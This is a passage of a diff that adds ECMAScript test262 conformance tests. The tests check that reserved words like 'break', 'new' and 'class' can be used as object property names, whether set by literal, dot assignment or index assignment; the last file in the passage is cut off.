+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-2.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: break, case, do
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ break: 0,
+ case: 1,
+ do: 2
+ };
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-3.js
new file mode 100644
index 000000000..643fce68f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-3.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-3.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: instanceof, typeof, else
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ instanceof: 0,
+ typeof: 1,
+ else: 2
+ };
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-4.js
new file mode 100644
index 000000000..8080248a2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-4.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-4.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: new, var, catch
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ new: 0,
+ var: 1,
+ catch: 2
+ };
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-5.js
new file mode 100644
index 000000000..bb3280732
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-5.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-5.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: finally, return, void
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ finally: 0,
+ return: 1,
+ void: 2
+ };
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-6.js
new file mode 100644
index 000000000..c9dc5a146
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-6.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-6.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: continue, for, switch
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ continue: 0,
+ for: 1,
+ switch: 2
+ };
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-7.js
new file mode 100644
index 000000000..a0a5a977b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-7.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-7.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: while, debugger, function
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ while: 0,
+ debugger: 1,
+ function: 2
+ };
+ var arr = [
+ 'while' ,
+ 'debugger',
+ 'function'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-8.js
new file mode 100644
index 000000000..d659f6acd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-8.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-8.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: this, with, default
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ this: 0,
+ with: 1,
+ default: 2
+ };
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-9.js
new file mode 100644
index 000000000..6e21dfd78
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-5-9.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-5-9.js
+ * @description Allow reserved words as property names at object initialization, accessed via indexing: if, throw, delete
+ */
+
+
+function testcase() {
+ var tokenCodes = {
+ if: 0,
+ throw: 1,
+ delete: 2
+ };
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-1.js
new file mode 100644
index 000000000..b2c98910a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-1.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-1.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: null, true, false
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.null = 0;
+ tokenCodes.true = 1;
+ tokenCodes.false = 2;
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-10.js
new file mode 100644
index 000000000..3099c4abc
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-10.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-10.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: in, try, class
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.in = 0;
+ tokenCodes.try = 1;
+ tokenCodes.class = 2;
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-11.js
new file mode 100644
index 000000000..9fda29ca4
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-11.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-11.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: enum, extends, super
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.enum = 0;
+ tokenCodes.extends = 1;
+ tokenCodes.super = 2;
+ var arr = [
+ 'enum',
+ 'extends',
+ 'super'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-12.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-12.js
new file mode 100644
index 000000000..7cfb6643a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-12.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-12.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: const, export, import
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.const = 0;
+ tokenCodes.export = 1;
+ tokenCodes.import = 2;
+ var arr = [
+ 'const',
+ 'export',
+ 'import'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-13.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-13.js
new file mode 100644
index 000000000..ff4bf38cf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-13.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-13.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: implements, let, private
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.implements = 0;
+ tokenCodes.let = 1;
+ tokenCodes.private = 2;
+ var arr = [
+ 'implements',
+ 'let',
+ 'private'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-14.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-14.js
new file mode 100644
index 000000000..4bea56fe5
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-14.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-14.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: public, yield, interface
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.public = 0;
+ tokenCodes.yield = 1;
+ tokenCodes.interface = 2;
+ var arr = [
+ 'public',
+ 'yield',
+ 'interface'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-15.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-15.js
new file mode 100644
index 000000000..0021da41b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-15.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-15.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: package, protected, static
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.package = 0;
+ tokenCodes.protected = 1;
+ tokenCodes.static = 2;
+ var arr = [
+ 'package',
+ 'protected',
+ 'static'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-16.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-16.js
new file mode 100644
index 000000000..bc98a8a5f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-16.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-16.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: undefined, NaN, Infinity
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.undefined = 0;
+ tokenCodes.NaN = 1;
+ tokenCodes.Infinity = 2;
+ var arr = [
+ 'undefined',
+ 'NaN',
+ 'Infinity'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-2.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-2.js
new file mode 100644
index 000000000..65c06c957
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-2.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-2.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: break, case, do
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.break = 0;
+ tokenCodes.case = 1;
+ tokenCodes.do = 2;
+ var arr = [
+ 'break',
+ 'case',
+ 'do'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-3.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-3.js
new file mode 100644
index 000000000..b403a3efe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-3.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-3.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: instanceof, typeof, else
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.instanceof = 0;
+ tokenCodes.typeof = 1;
+ tokenCodes.else = 2;
+ var arr = [
+ 'instanceof',
+ 'typeof',
+ 'else'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-4.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-4.js
new file mode 100644
index 000000000..cbe85b25e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-4.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-4.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: new, var, catch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.new = 0;
+ tokenCodes.var = 1;
+ tokenCodes.catch = 2;
+ var arr = [
+ 'new',
+ 'var',
+ 'catch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-5.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-5.js
new file mode 100644
index 000000000..5d2e1b6f6
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-5.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-5.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: finally, return, void
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.finally = 0;
+ tokenCodes.return = 1;
+ tokenCodes.void = 2;
+ var arr = [
+ 'finally',
+ 'return',
+ 'void'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-6.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-6.js
new file mode 100644
index 000000000..df407917b
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-6.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-6.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: continue, for, switch
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.continue = 0;
+ tokenCodes.for = 1;
+ tokenCodes.switch = 2;
+ var arr = [
+ 'continue',
+ 'for',
+ 'switch'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-7.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-7.js
new file mode 100644
index 000000000..1c4ca549c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-7.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-7.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: while, debugger, function
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.while = 0;
+ tokenCodes.debugger = 1;
+ tokenCodes.function = 2;
+ var arr = [
+ 'while' ,
+ 'debugger',
+ 'function'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-8.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-8.js
new file mode 100644
index 000000000..945eecf73
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-8.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-8.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: this, with, default
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.this = 0;
+ tokenCodes.with = 1;
+ tokenCodes.default = 2;
+ var arr = [
+ 'this',
+ 'with',
+ 'default'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-9.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-9.js
new file mode 100644
index 000000000..ae8bbbcd2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-6-9.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-6-9.js
+ * @description Allow reserved words as property names by dot operator assignment, accessed via indexing: if, throw, delete
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes.if = 0;
+ tokenCodes.throw = 1;
+ tokenCodes.delete = 2;
+ var arr = [
+ 'if',
+ 'throw',
+ 'delete'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-1.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-1.js
new file mode 100644
index 000000000..060d98cb9
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-1.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-1.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: null, true, false
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['null'] = 0;
+ tokenCodes['true'] = 1;
+ tokenCodes['false'] = 2;
+ var arr = [
+ 'null',
+ 'true',
+ 'false'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-10.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-10.js
new file mode 100644
index 000000000..22a2e32fb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-10.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-10.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: in, try, class
+ */
+
+
+function testcase() {
+ var tokenCodes = {};
+ tokenCodes['in'] = 0;
+ tokenCodes['try'] = 1;
+ tokenCodes['class'] = 2;
+ var arr = [
+ 'in',
+ 'try',
+ 'class'
+ ];
+ for (var i = 0; i < arr.length; i++) {
+ if (tokenCodes[arr[i]] !== i) {
+ return false;
+ };
+ }
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-11.js b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-11.js
new file mode 100644
index 000000000..0c0176399
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.6/7.6.1/7.6.1-7-11.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.6/7.6.1/7.6.1-7-11.js
+ * @description Allow reserved words as property names by index assignment, accessed via indexing: enum, extends, super
+ */
+
+
+function testcase() {
